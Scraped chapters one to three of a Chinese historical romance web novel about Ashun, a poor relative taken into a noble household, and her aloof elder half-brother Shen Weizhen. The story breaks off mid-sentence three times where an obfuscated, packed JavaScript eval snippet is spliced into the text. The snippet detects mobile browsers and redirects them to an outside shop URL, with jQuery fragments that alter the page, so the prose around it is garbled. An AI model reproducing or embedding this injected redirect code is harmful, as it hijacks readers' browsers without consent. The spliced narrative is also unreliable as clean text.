《花中娇客》 1. 藏春坞 阿椿又迷路了。 这不怨她，沈府太大。 即使在寸土寸金的京城，沈家蒙受祖荫，如今依旧重宇别院、高堂广厦。 而她生于偏远的南梧州，长到十六岁，才第一次入京。 生父在她出世前就撒手人寰，母亲沈云娥性格怯懦，又有咳疾，难以维持生计。幸好有远房表舅沈士儒接济，母女俩才得以安稳生活。 三年前，沈士儒溘然长逝；救济断了，阿椿开始去酒肆做工、赚钱为母亲治病。 事迹传到沈士儒的母亲——也就是尚在世的老祖宗耳中，她为阿椿的孝行所感，差人将她们母女接进京城，安置在府中。 这是阿椿入沈府的第二日。 今日花园散步，侍女突然被五小姐叫走做事，阿椿不认路，也不懂侯府规矩，坐在石凳上等，没等到人回来，又怕耽误了向老祖宗请安，只能循着记忆往睦和堂方向去。 雕栏玉砌，水榭华庭，弯弯绕绕，她又转回原地。 太阳正晒，阿椿急红了一张脸，从袖中掏手帕擦汗。 正擦着，阿椿忽觉有人在看自己，她抬头，只见莲池对面廊亭中，站了一位公子。 恰值盛夏，满塘粉芙蕖，风一吹，清香四溢；荷叶卷卷落落，浓淡不一的绿中，他银白衫，束金冠，长身玉立，眉眼深刻，容仪俊爽。 眼皮一跳，阿椿浮出一念头，他一定就是长兄沈维桢。 ——她有一种天然的亲近感。 在此之前，两人从未见过面。 昨天在老祖宗处吃饭，阿椿只见了其余的姐妹、兄弟，唯独没有沈维桢。 他差小厮过来，称近期感染风寒，恐过了病气给妹妹，不好相见。 其实阿椿明白，这位兄长厌恶她。 她清楚自己身世，名义上是远房亲戚；实际呢？老祖宗怜悯她，吃穿用度和府上其他小姐同一规格，但阿椿绝不敢将自己当作沈府的姑娘。 沈维桢不同。 他是长子，承袭爵位，为人正直，十九岁时就高中解元；若非为父守孝，只怕他早已入了朝堂，前途无量，是沈家最出色的一个。 水边开彻芙蓉，阿椿惶恐地向沈维桢行礼。 想叫哥哥，又怕他厌恶，更不能像下人那样称呼他为“大爷”—— 手帕要被绞破，阿椿终于憋出一声：“沈公子。” 手忙脚乱，心里直打鼓，不知行礼姿势对不对、称呼合不合时宜。 她第一次入京，不懂怎样和这个哥哥相处。 慌乱望去，阿椿发现沈维桢没有回礼，也不知听没听到她的称呼； 他站在原地，纹丝不动，隔水凝望她。 阿椿更不安了。 老祖宗说沈维桢很像父亲，实际上，这个长兄气质更像他母亲李夫人——永嘉侯长女，漠然疏离。 昨夜里李夫人的冷若冰霜，现在沈维桢的目不转睛，无论哪一种视线，都令阿椿脊背发冷，薄汗浸衫。 尴尬中，阿椿瞧见侍女身影，顿时如蒙大赦，远远地冲沈维桢又行一礼，匆匆离开。 ——哪怕姿势错了，可她行了两次，他应该能谅解她的诚心吧？ 阿椿心有自知之明，知道沈维桢厌恶她这个“妹妹”，决不去做碍眼的木头桩子。 只是不知怎么，沈维桢一直盯着她的背影。 大约是讨厌到恨不得她消失吧。 阿椿很识趣地走开。 向老祖宗的请安还是迟了。 阿椿跨过睦和堂门槛时，姐姐妹妹已全部到齐，正坐着闲聊。 老祖宗性格宽容，不计较这些细枝末节，更何况现在满心都是沈维桢的婚事。 阿椿安静坐着，听了一耳朵。 原来，刚才沈维桢在莲池那边，是要与人相看。 沈维桢守孝期满，李夫人操心儿子终身大事，看中了孟小姐，今日邀请她进府做客，是想让沈维桢与她见一见。 “孟小姐是昌宁侯府的三姑娘，聪慧淑贤，”说话的是三姐沈宗淑，二房的长女，为人最和善，笑着同老祖宗说，“去年金明池演习，您见过的。” “是她啊，”老祖宗略略一想，又问传话的小厮，“维桢怎么说的？” “回老祖宗的话，”小厮回禀，“大爷说，孟小姐今天一袭天水碧，皎若明月照林，犹如天人。” 老祖宗笑起来。 这就是沈维桢同意了。 一件大事终于有了着落，老祖宗心情舒畅，吩咐李夫人：“我记得三月份送来了几匹天水碧的杭罗，维桢说这颜色衬孟小姐，等下就全送去昌宁侯府上吧。” 李夫人说：“当时送来了六匹，昨日阿椿进京，您说要给阿椿裁几件衣裳出来，我就命人取了两匹，赶工为阿椿做了新衣。” 的确是赶工，连夜赶制，阿椿现在正穿着。 她原本的衣裙不多，补丁叠补丁，和侯府格格不入。老祖宗看在眼里，特意吩咐给她多做些新衣服；阿椿明白自己不能让侯府丢人，裙子一送到，就立刻穿上身来拜谢。 猝不及防被提到，阿椿涨红了脸，起身，向老祖宗和李夫人行礼：“劳烦老祖宗、舅妈费心。” 李夫人不看她，也不笑。 老祖宗仔细看，慈爱：“阿椿穿这颜色也漂亮——再留两匹给阿椿吧。剩下的，再寻四匹其他料子，一并为孟小姐送去。” 李夫人说是。 阿椿知道老祖宗想疼她，没想到会这么疼。 等她回了藏春坞，送来的不止是那两匹天水碧的杭罗，还有十几匹，绫罗绸缎，纱绢绡绉，一应俱全；一些簪花钗环，被装在檀木匣子中，由伺候老祖宗的赵嬷嬷，领了十几个侍女送来。 赵嬷嬷笑眯眯，说话慢声细语，做事一点都不含糊。 中午抛下阿椿的侍女犯了错，被赶出藏春坞，老祖宗另送了一个侍女过来，名叫秋霜。 赵嬷嬷说得含蓄：“往后一段时间，老祖宗要张罗大爷的大事，一时恐怕顾不上这边；姑娘您要是有什么事，只管找我。” 阿椿说：“辛苦嬷嬷送来，您吃盏茶再走吧。” 赵嬷嬷推脱不吃，阿椿起身送她，又塞了些碎银两。 秋霜站在一旁，看着阿椿举止，心下暗赞，这位表姑娘，心思是通透的。 她性格直爽，此次领老祖宗的命前来，立刻着手收拾阿椿的院子。 藏春坞以前是沈士儒的书房，后来他外放，就闲置下了；现在拨来的小厮丫环，个个清楚阿椿的身世，觉得她是偏远州府来的，做事也懒懒散散。 秋霜来的第一个下午，就立了规矩，该罚罚，该赏赏，一番话说得漂亮又规整，阿椿都听愣了。 她长于市井乡野，哪里见识过这样的场面。 秋霜对阿椿同样严格。 “姑娘，”秋霜说，“您如今是侯府的小姐了，以后少不了随着夫人出门做客。您的体面，也是老祖宗的体面，更是侯府的体面——这些规矩，您必须要学。” 阿椿辛苦一下午，只学了行礼姿势，好不容易歇下，晚上也不能和母亲吃饭；老祖宗差人传话，让去睦和堂那边。 刚进睦和堂的院子，阿椿就撞到沈维桢，结结实实，一头撞到他胸膛。 她捂着额头，只听秋霜惊慌失措道：“姑娘刚进府，还没学好规矩，不小心冲撞了大爷，请您莫怪。” 借着秋霜提的灯，阿椿才看清沈维桢的衣角，暗暗的蓝色，用银线绣了许多竹叶。 睦和堂草木葳蕤，她刚刚没有看到他。 白日里，阿椿视线极佳，百步外能用弹弓精准打落荔枝叶上的小虫子；可一到晚上，她的眼睛就坏了，甚至比常人视物还差些。 阿椿扶住旁侧芭蕉站稳。 芭蕉叶上的露水顺着叶脉坠下，落在她眉心，又冷又凉，阿椿惴惴不安，仰脸：“哥哥。” 灯光昏暗，她看不清沈维桢的脸，只闻到他身上好闻的味道，是沉稳克制的檀木熏香，很轻，很淡。 只听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这位因老祖宗垂爱才接进府中的远房表姑娘，年纪小小，虽有天人之姿，命运却颠簸。方才教规矩时，秋霜已注意到了，阿椿十指满是茧子，掌心更有不少细小疤痕，联想之前听说的那些，知道她一定吃了不少苦，十分不易。 晚上，老祖宗对阿椿的行为举止很满意。 秋霜松口气。 老祖宗将她派到藏春坞时，提点过她，要好好照顾这位表姑娘。 秋霜不怕表姑娘一身乡野气，只怕她性格傲气、不肯学。 幸好表姑娘性格和软，不爱说话，但明理、懂是非。 本以为这一天可以安然无恙过去，谁知仁寿堂那边有了动静，不知为何，李夫人怒斥沈维桢，气冲冲去他院子，又气冲冲地走。 伺候阿椿睡下后，秋霜问了当值的小姐妹，才知道缘由。 就在方才，沈维桢忽然告诉李夫人，不愿同孟小姐继续议亲。 李夫人震怒。 “大爷一向果断，今日这是怎么了？”秋霜错愕，“不是说，正午大爷只见了孟小姐一眼，就同意了吗？” “是啊，”小红点头，“当时我在院外伺候，听得真真的——中午莲池相看后，大爷亲自对小厮说，天水碧很衬孟小姐，还要差人采买丝绸送去给孟小姐呢。” 秋霜略想了想，疑惑：“说起来，我今天下午也见了孟小姐，仙女一般的人。不过，她今日的裙子是天水碧色的？不是铜青色？” “或许是我记岔了，”小红探头，问，“姐姐，表姑娘已经睡下了？衣服交给我吧，我送去浆洗熏香。” 秋霜说好，转身进房去取。 内室只点着两盏烛，不甚明亮，她瞧见纱帏露出一条细缝，床边摆好的鞋子也乱了位置。 一顿，秋霜假装没看到，取走衣裙，交还给门外等候的小红。 “表姑娘喜欢清雅的花果香，切不可熏得浓了，”秋霜叮嘱，“还有，这几件——” 蓦然，她停住，愣愣地看箩筐中的衣裙。 ——今日，表小姐穿过莲池向老太太请安，穿的就是一身天水碧。 2. “哥哥。” 入府一个月，阿椿终于认清了沈府的路。 沈维桢所住的仁寿堂除外。 阿椿连他门口都不敢经过。 自上次意外相撞后，阿椿再没见过沈维桢。 “当年老爷去得突然，没给夫人和大爷留下什么话，”秋霜为阿椿梳头，“那时大爷刚中解元，宴席还未摆，就连夜赶去南梧州。” 阿椿轻轻嗯一声。 她知道。 沈士儒是突然发病。 原本他任期已满，皇帝已下了诏令，若没有这场急病，沈士儒该赴京述职高升的。 沈维桢千里迢迢赶去南梧州，第一件事，就是要求开棺验尸。 那时阿椿尚不到豆蔻之年，母亲沈云娥担心沈维桢杀了她，将她藏得严严实实，不敢让沈维桢见她。关于那场纷争，一切的一切，都是阿椿听人转述—— 沈维桢冷血强硬，带了仵作，不顾沈云娥阻拦，要将已钉入棺材的沈士儒尸身重新取出。 破棺之时，沈云娥痛哭流涕，跪地祈求，自称不该无名无份跟了沈士儒，希望沈维桢将怒气发向她，而不是毁坏他亲生父亲的尸骨。 这番哀求并未令沈维桢回心转意，他客客气气称她为表姨母，绝不认她与沈士儒的私情。 南梧州本就炎热，又值八月，沈士儒的尸体停放已过十日，开始鼓胀腐臭，甚至生蛆虫。棺木一开，沈云娥就晕了过去，沈维桢是沈士儒的亲生儿子，面无异色地观摩了生身父亲被仵作切开、验尸的全过程，甚至还亲手检查了被切开的胃囊，冷静异常，令人胆寒。 直到今日，进了侯府，一听沈维桢的名字，沈云娥就想呕吐。 阿椿不这样认为。 她一直感觉沈士儒病得蹊跷，早在他刚咽气时，阿椿就让沈云娥去找仵作，为他验尸，看是否中了毒。可惜她年纪尚小，人微言轻，沈云娥生性怯懦，不敢亵渎沈士儒尸身，才选择等京城来人，主持大局。 …… “老祖宗疼姑娘，特意让我告诉姑娘一声，下年就是春闱了，大爷专心学业，很少在府中，姑娘您别多想，”秋霜挑选着珠花，仔细往阿椿发上簪，绞尽脑汁去宽慰，“您看，这珠花上的红珊瑚多好呀，一定是大爷精心选了送给姑娘的。” 阿椿顺着她的话，笑：“是呀。” 进侯府时，她一件首饰都没有，全靠老祖宗赏赐。 沈维桢不喜欢她，老祖宗看在眼中。不然，没有一个月还不曾见一面的道理。前天，沈维桢刚从书院归家，立刻被老祖宗叫去。 昨日，沈维桢虽没见阿椿，但差人送了不少首饰过来。 秋霜往她头上簪的这些珠花就在其中。 阿椿知道，这是他不想令老祖宗为难。 她同样不想为难老祖宗，就开开心心地收下了。 等下去睦和堂请安时，阿椿会戴着这些珠花，在她老人家面前多多夸赞兄长待她的好意。 “母亲呢？”阿椿问秋霜，“她又睡下了么？” 秋霜说：“是啊，刚喝过药，现在正歇着。” “母亲会睡上一个时辰，别让人打扰，”阿椿叮嘱，“你等下告诉朝荣，莫让母亲吃太多荤腥，她如今在吃药，克化不动。” 秋霜点头说是。 沈云娥身体一直不好，颠簸入京后，重新请了名医看诊，开新方子，尚在慢慢调理。 若想母亲痊愈，少不了银钱。 这也是阿椿想入京的原因。 她需要讨老祖宗欢心，借侯府的势，为自己选一个家境殷实的人家。能做妻最好，若当真不行，为妾也不打紧，阿椿知道自己家世差，不曾奢望，只求对方富裕、大方，愿意为她母亲请医治病。 只要母亲能健康、活着，其他的，阿椿都不在乎。 为老祖宗请安后，恰逢今日流芳渚开诗社，老祖宗一心想让阿椿融入姊妹们，便让最稳重的三姑娘沈宗淑带阿椿过去。 阿椿识字不多，和读书作画相比，她更爱骑射渔猎。 沈士儒对她十分疼爱，曾手把手教她习字开蒙，看出她志不在此后，遗憾放手，不再拘束她。 是以，阿椿读过的诗句都没多少，更别谈作诗。 就连“诗社”，也是第一次听说。 阿椿只知道社火。 沈宗淑是二房的女儿，早已定了婚。她是姐妹们中最年长的一个，最是怜贫惜弱，今日开诗社，还有不少与沈府相交好的贵女公子前来，阿椿一个都不认得，全靠沈宗淑一一仔细引荐。 她努力记住每一张脸。 尤其是那些公子，说不定她的未来夫婿就在其中。 也有力所不能及的，到众人作诗时，阿椿就安安静静坐着了，盯着沈宗淑姐姐写。 阿椿看也看不明白，为什么“鱼”后面要跟着“戏”、“柳”要“乱”，为什么是“新蝉”还要“懒梳妆。” 蝉都是一年生，从地底爬出来，没几日就死去了，不都是新的吗？难道还有新蝉旧蝉吗？况且，蝉是虫子，都没有头发没有手，又怎么会梳妆呢。 字全认识，放在一起就看不懂了。 阿椿眼巴巴地干看着时，沈维桢正在睦和堂同老祖宗说话。 “我知道你不喜欢她们母女，”老祖宗叹气，“说来也怪我，当初沈云娥新寡，你父亲写信回来，说她曾救过他性命，现在孤苦无依，遭人欺凌，实在可怜，想要纳她做妾。我觉得不合适，不肯。谁知他不声不响，竟在外面养着了。唉！无名无份，还捏了个‘远房表哥’的由头……你六岁那年生的那场急病，险些要了你的命去。谁知道那么巧，沈云娥即将临盆，你父亲——” “老祖宗，”沈维桢打断，“您别再说了。” 六岁时，他险些丧命，请来的御医都摇头说没法子了，准备后事吧。李夫人哭得肝肠寸断，只希望沈士儒能赶来看他。万一有个好歹，沈维桢也能见见父亲。 但沈士儒在南梧州。 沈维桢好不容易从鬼门关拣回一条命，醒来时也不见父亲。痊愈后才得知，他敬仰的父亲，正在南梧州陪他的“远房表妹”。那位远房表妹刚刚诞下一女，名唤阿椿，母女平安。 此后更甚。 沈士儒性格刚正，不肯趋炎附势，直言不讳，常遭弹劾，十余年升升贬贬，大部分时间都在外放，极少回京。沈维桢很少同父亲相处过，只听人讲，沈士儒常伴沈云娥母女回南梧州，有人更是见过他手把手教阿椿写字、玩闹。 …… “静徽既然已经进了侯府，我就会将她当作亲生妹妹看待，”沈维桢说，“老祖宗，您放心，该给她的东西，我一样都不会缺。” 老祖宗看着他，也觉对不起这个孙儿。 阿椿无辜，沈维桢更是无辜。 然而，沈士儒已逝，事情到了如今这个地步，一切宽慰都是枉然。 如今，沈士儒名义上没有任何妾室，只有夫人李德姝，以及她所诞育的唯一长子沈维桢。 “沈云娥毕竟救过你父亲一条性命，”老祖宗说，“我老了，也不期望你能将她们母女俩当作正经亲戚，只照拂一下。说到底，阿椿她终究……” 她声音越来越低，没说完。 “我知道，”沈维桢说，“表姑母的病，我会尽力寻医救治，算是报她一条人命。” 停一下，他望向桌上青瓷瓶，纤长温润，恰如烈阳下的一抹天水碧。 沈维桢移开视线，继续：“静徽也到了该议亲的年纪，这段时间，我会为她择一如意郎君，备一份丰厚嫁妆，将她以亲妹之礼嫁出去。” 老祖宗得他允诺，笑着催促：“春闱要紧，你且不要将心思用在这上面。还有我为她挑选夫婿——快尝尝这白茶，从闽越送来的，说是永嘉山产的，我看这色白如银，甚好。” 她知道，沈维桢重诺，他能应下，就一定能做到。 且不论父母如何，阿椿那孩子瞧着实在可怜、懂事。 也正是太懂事了，老祖宗才没能狠下心去杀了她；办完沈士儒的身后事，她们已经说好了，就当这对母女不曾在人世，可听闻她小小年纪为救母做工劈柴时，还是不忍心。 孤傲如李夫人，同样不忍。 这才接她母女入府照料。 沈维桢喝了一盏茶，起身离开。 李夫人还在生他的气，她操心沈维桢婚事多年，看他除了孝服，就张罗着议亲。 沈维桢向来不沾女色，对成亲一事也淡漠，现下闹出乌龙，更不愿再议。 李夫人不知内情，皱眉问他怎么突然改口。 沈维桢最终以“即将春闱，专心备考”为由，才堵住了她的追问，免得徒生事端。 在沈维桢眼中，女色就是事端。 万恶淫为首。 从睦和堂到仁寿堂，若走近路，必须经过那片该死的假山莲池，沈维桢已绕行多日，今天同样，穿长廊，过月洞门，经流芳渚，行至蔷薇花境，再走一片竹林，就可到了。 很方便。 今日不巧，刚过月洞门，清风送来蔷薇香，和明晃晃的日光一同扑他满身。 无需牵引，沈维桢侧身望去，浅粉淡紫浓绿薄红，花架下，立 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471235|201492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一抹纤长的淡淡鹅黄色。 像仰头直视烈阳，沈维桢眼前一晃，那抹鹅黄如柑橘炸开的汁水，溅得他眼痛头昏。 沈维桢沉下脸，冷淡地负手而立。 身着鹅黄衣裙的阿椿已经看到了沈维桢。 她吓得立刻行礼：“公子。” ……怎么在这时遇到兄长。 沈维桢满面冰霜，阿椿认为他多半在生气。 原本她为沈维桢准备了好多漂亮话，担心自己想出的话太土，斟酌许久词藻，每一句都如兄长长相般俊美得体，现在见了面，她却一句都说不出口，只低着头，大气不敢出。 沈维桢嗯一声，不愿与她多交谈，更不想看她，只想快些走过这倒霉的蔷薇墙。 三房的沈湘玫站在一旁，先是一愣，继而大笑出声，问阿椿：“你怎么唤大哥哥为公子？” 沈维桢这才看到她。 沈湘玫怎么也在此处。 微微皱眉，沈维桢看到，阿椿身边不止五姑娘沈湘玫，还有二房的六妹妹沈琳瑛，以及她们的侍女。 蔷薇花墙下竟站了这么多人。 未等他开口，沈琳瑛先问了，促狭，也好奇：“是呀，静徽，大哥哥刚送了你这么好的珠花，你怎么不肯叫一声哥哥呢？难道是哥哥送的珠花不合你心意吗？” 沈维桢看到阿椿脸上浮现出慌乱。 她总是慌慌张张的，像受了惊的兔子。好端端的，哪里来得那么多惊吓，偏巧都落在她身上，怎么又都凑巧叫他撞见。 “公……哥哥送的东西，自然都是好的，”阿椿努力解释，她快愁煞了，总不能说因为知道沈维桢讨厌她、所以不敢叫哥哥吧？ 她绞尽脑汁：“只是——” “先前忙，没时间见静徽，”沈维桢打断，“这是我同静徽第一次见面，她不认得我，自然不知我就是她哥哥。” 说完后，他不悦：“湘玫，琳瑛年纪小，倒也罢了。你身为静徽的姐姐，明知她刚到这里，认人尚不齐全。她不认识我，你不帮着妹妹，反倒取笑她——这是当姐姐该做的事么？若现在站在这里的不是我，你们也不为她引荐、只是站在这里看着？” 沈湘玫最怕这个哥哥，立刻低头，绞着帕子说知道错了。 沈琳瑛做鹌鹑状，不敢说话。 沈维桢教训：“一家人，要互相扶持，才能长久。” 阿椿更不敢出声了。 只是这一通训斥，她心里稍微好些了。 原来沈维桢对所有妹妹都这么凶？所以……并不单单对她这般冷淡？ 乱想中，又听沈维桢说：“静徽，跟我来，我有话要对你说。” 也不看她，说完就走，人高腿长，并不在意她是否跟上。 阿椿生怕怠慢，快跑几步，裙子太长裙摆太大，不方便，腰间佩戴的环佩叮当，砸得大腿痛，提醒着她不合礼仪，不可跑。 她低头解开纠缠在一起的环佩，攥在手中，提着裙角，快步追赶。 移步至八角亭下，阿椿忐忑，不知兄长要单独对她说什么，是斥责，还是……？ 视线中，只见沈维桢早已站定，等了等，他转身。 兄长在看她。 不，兄长在看她身后的蔷薇花墙。 沈维桢闭了闭眼，静默稍许，复睁眼，凝望她，表情仍旧冷淡。 阿椿惴惴不安。 “静徽，”沈维桢说，“你如今是侯府的表姑娘，有了老祖宗的提醒，我必然会将你当作亲生妹妹——别由着人欺负。” 亲疏有别，沈维桢身为长兄，不能坐视不管。 阿椿解释：“五姐姐和六妹妹并没有欺负我，她们刚刚还教我念诗呢。” 沈维桢不欲与她多谈。 提醒已到，他正准备离开，听她这样说，不免问：“念什么诗？” “……我记不得了。” 阿椿努力回想，想不起来。 沈士儒说过，我们阿椿长了一颗聪明的脑袋，偏偏读不进诗书，全用在上山下海上了。 “……好像是，”阿椿用力挤，没挤出，惭愧，“什么夏虫呀不……鱼什么冰，很美的一句诗。可惜我天生不通诗词歌赋，没有记住，对不住五姐姐和六妹妹的教导。” 沈维桢眉皱得更紧了。 他听懂了，却不愿直接说出。 这个天资愚钝的妹妹，偏生了一双盈盈的眼。 沈维桢避开她期待的视线。 “我知道了，”他说，“你只需记得一件事，我虽不喜你，但你毕竟是我沈维桢的妹妹。” 3. 七夕 阿椿认真揣度沈维桢的意思。 他是说，人要有志气，不要任人欺负，不要给他丢脸吗？ 读书人真是令人头痛，兄长俊美得一目了然，说的话却迂回绕绕九曲十八弯。 如果他的语言能像他的英俊同样显然易见就好了。 难怪沈士儒说，不读书也好，读书多了烦恼多。 现在看来，读书还会让别人烦恼多。 阿椿忧愁地叹口气，低头，看着毛毛糙糙的丝线。 这是辽东产的蚕丝线，独有淡淡宝石绿光，价格昂贵，专用来刺绣，她做惯粗活，手上有茧，都将丝线磨粗了。 七夕节快要到了。 南梧州节日多，不会隆重地过七夕，在阿椿记忆中，七夕前后四五日，只需要去街上看灯会买些小吃就好，哪里想，京城中规矩如此多。 且不提其他，单单是府内，月初就开始筹备，要在莲池那边搭一个彩楼，说是叫“乞巧楼”。等到初六和初七的晚上，还要在乞巧楼下摆上花瓜、酒炙、针线、笔砚等等供奉，祈愿心灵手巧、聪慧明智。 阿椿不需要去搭建乞巧楼，但在七夕这一夜，也要供奉自己的绣品。 她上次拿针线，还是为自己裂开的裙子补补丁。 秋霜同样错愕，没想到表姑娘居然不会针线。 莫说刺绣，阿椿连缝补的针脚都走不直，歪歪扭扭，像一道疤。 饶是秋霜有十八般武艺，这下也不成了，阿椿的十根手指、包括掌心都有做粗活留下的茧子，一时半会也养不好，偏偏刺绣是个精细活，这些茧子会将丝线剐蹭出绒；即使勉强绣上，也不美观。 最终想出个办法，寻些漂亮的布，她只需缝制一个香囊供上去即可。 “多少都是意头，应个景罢了，”秋霜说，“总不好别人都做，我们却不做。” 阿椿说好。 府上有专门做针线的绣娘，眼看没几日了，阿椿天天过去请教，不求做得多么出挑，甚至也不求普通，针脚齐了就好。 只是这也费银两。 现如今，阿椿的月例和其他姑娘们一样，每月四两。老祖宗知道她辛苦无积蓄，偶尔也赏些；沈宗淑体谅幼妹，知道她初来乍到、什么都不懂，侍女去买胭脂水粉时，也会额外送阿椿一份。 阿椿不敢乱花，除却日常用度、打赏，都攒着；她十分爱惜东西，不练到一张布上再无下针的地方，绝不会丢。 距七夕不足四日，阿椿练习越发勤勉，那块别着针的练习方布更是不离身，稍有空闲，就坐下练习缝绣。 就连向老祖宗请安时，阿椿心中还惦念着。 喝完茶，聊过天，老祖宗笑着说沈维桢刚从书院回来，给几个妹妹带了些七夕节的小玩意，让她们各自挑选喜欢的。 阿椿猜，大约是节日的小玩具，譬如黄蜡做的鸭子、鸂鶒之类的，或者谷板、花瓜，以前沈士儒也会买，还有“磨喝乐”，装在红纱笼中。 没想到竟是钗环簪笄，大多是黄金嵌珠玉，一共八枝，想来是提前算过的，加上阿椿，府上四个姐妹，每个姐妹各选两支。 最惹眼的是一支山茶金簪，山茶花瓣是用粉碧玺做的，花蕊是金丝嵌着黄宝石，精美绝伦。 几个少女的眼睛都盯着它，阿椿也不可免俗。 它太美了。 她名字是山茶，故乡南梧州又多生山茶，故而对山茶有种特别感情。 五姑娘沈湘玫赞叹出声，艳羡不已：“好美的山茶金簪。” 老祖宗开口：“以往都是按照长幼次序来的，只是阿椿新到府上，我做主，这次让阿椿先选吧。” 阿椿谦让，说还是按照长幼顺序来，请三姑娘沈宗淑选。沈宗淑自然也要相让，最终还是老祖宗一锤定音，阿椿先选，余下人再挑。 排在最后的沈琳瑛不在乎，左右都是她最小，以往也都是她最后选的，反正沈维桢送的都是好东西，无论是哪一个都好。 沈宗淑同样不在意，她性格沉稳，备受父母疼爱，自小就被教导，要同姐妹们互敬互爱。 唯独沈湘玫，忍不住：“静徽表妹，老祖宗一番好意，看那山茶金簪多好，特意留给你，你就收下吧。” 老祖宗暗叹口气。 她知道，这几个女孩年龄相仿，现在年纪也都还小，平时争头花比衣裳也正常；可若真喜欢，该落落大方地说想要，老祖宗反而会欣赏直言不讳的姑娘，但这样含酸地说出来，不是一个大家闺秀该有的教养。 且不说阿椿想不想要那山茶金簪，只要沈湘玫这话一出，她便是想要，以她的性格，也绝不会再去拿了。 果然，第一个选的阿椿没拿山茶金簪，而是选了两支蝴蝶钗。 沈宗淑也没拿。 那支山茶金簪，最终落到了沈湘玫手中。 她很高兴，左看右看，其余少女都没什么，老祖宗看着沈宗淑，心想，姑娘们还是需要多学一学。 只是一支簪子而已，就让沈湘玫这样；以后若遇到更好的东西，还会不会和姐妹们争抢？ 阿椿珍惜地捧着那对蝴蝶钗。 对她来说，得到的任何一样东西都很珍贵。她本来就不是府里正经的姑娘，现在已经足够幸福了。 是以，她想了很久，该如何报答沈维桢。 恰好七夕节，那夜供奉上去的香囊，可以取下赠人。 沈宗淑已经定亲，会在供奉后差遣小厮，将那香囊赠送给未来夫婿；沈湘玫和沈琳瑛都有兄弟，自然是要送给兄弟的—— 阿椿想，她的香囊，可以送给沈维桢。 以报他上次替她解围、这次赠金钗的恩情。 有了这份心思，阿椿更加努力。 白天做，晚上也做，赶在初六这一日，阿椿还真缝制出了一个像模像样的香囊，她回忆着那日撞到兄长时闻到的香味，差小厮买了香料来，一一调配。 阿椿有个好鼻子，只要闻过的香气，都能原模原样地调配出来，丝毫不差。 这还是她在香料铺帮工时学到的。 七月初七夜，在莲池中心的亭阁中摆了家宴，这次人全到齐了，男女分席，亭下纱幕被风吹得飘飘扬，晚风送来荷花香。 沈湘玫和沈琳瑛凑一块闲聊，沈宗淑跟李夫人学习理事，一时不在这边。 阿椿只听沈湘玫沈琳瑛两人聊天，她在京中认识的人不多，也插不上什么话，只安静地剥莲子，一粒又一粒，剃掉苦涩的莲子芽心，盛在洁净的白玉盘中。 沈维桢来时，就看到这一番景象。 欢声笑语中，只有身着湖绿裙的阿椿慢吞吞地剥莲子，臂挽一条芰荷绿的披帛，她的手又瘦又长，手背上还留有一些浅浅疤痕，在府上养了这些时日，皮肤比刚来时白净多了，像牡丹花枝，一点点，从下向上，褪掉木质层，生出细嫩的绿枝条，纤细柔美。 那瘦长的手腕上，套了一双晴水绿的翡翠镯子，轻轻荡荡，却不及她肌肤有光。 身后就是夏夜荷塘，满池芙蕖，她像陆上的荷。 这一停留，阿椿先发现他。 她惊喜：“哥……公子！” 一个称呼就将她难为成这样。 沈维桢颔首，众人都在，他不能不做回应，于是走至她身旁，看那些莲子：“你爱吃莲子？” “是给老祖宗吃的，”阿椿解释，“她说这两日有些口干，睡眠不好，想来是有些上火。我听厨房的妈妈说莲子最清心火，所以想剥了给她吃。” 这两个莲蓬，阿椿剥得小心翼翼，这些莲子一点都没损伤，漂亮极了。 沈维桢扫一眼：“你既知莲子去火，又怎么不知道、这被你剔掉的莲子心才是最下火的？” “啊？我想莲子心苦，老祖宗不爱吃苦——” “你关心老祖宗身体，这很好，不过她饮食起居都有下人伺候，你有这份心就已足够，”沈维桢说，“不必剥了，你自己吃吧。” 话未说完，阿椿捧起白瓷盘，举到他面前：“那公子想吃吗？” “我已不是孩童，想吃莲子也不必别人剥，”沈维桢淡淡，“以后別唤我公子，我没时间再去同人解释——叫哥哥。” 阿椿很乖，低头：“哥哥。” 她头一低，沈维桢看到她发间簪着的两枚蝴蝶钗。 他问：“你不喜欢山茶？” 这话问得古怪，阿椿一时没反应：“我很喜欢——哥哥问这个做什么？” 沈维桢说没什么，转身离开。 席间，阿椿发现沈湘玫戴了那枚山茶金簪，烛火摇曳间，流光溢彩。 冷不丁，阿椿想。 这枚山茶金簪，难道是沈维桢打算送给她的？ 不对不对，沈维桢怎么知道她喜欢山茶？他说过，并不喜欢她这个妹妹；更何况，照老祖宗的说法，姐妹们分东西，一直都是按照长幼次序来的。 他又怎么能确定，第一个挑选的人会是她？ 疑惑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17471236|201492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中，阿椿不免多看了几眼沈湘玫发间的山茶金簪。 沈湘玫注意到了，愈发得意。 她就知道，阿椿是穷乡僻壤里出来的，未必识得真货。白白放着好东西不拿，那两支蝴蝶钗虽美，到底不如这山茶金簪精巧。 毕竟，在京城，山茶花价值不菲，极难养护，娇贵得很，颇为少见； 现在频频看她发上的山茶金簪，莫不是后悔了？ 阿椿却没想这些，她安安静静地过了家宴，又去厨房请教了年长的嬷嬷，该怎么做莲子心茶。 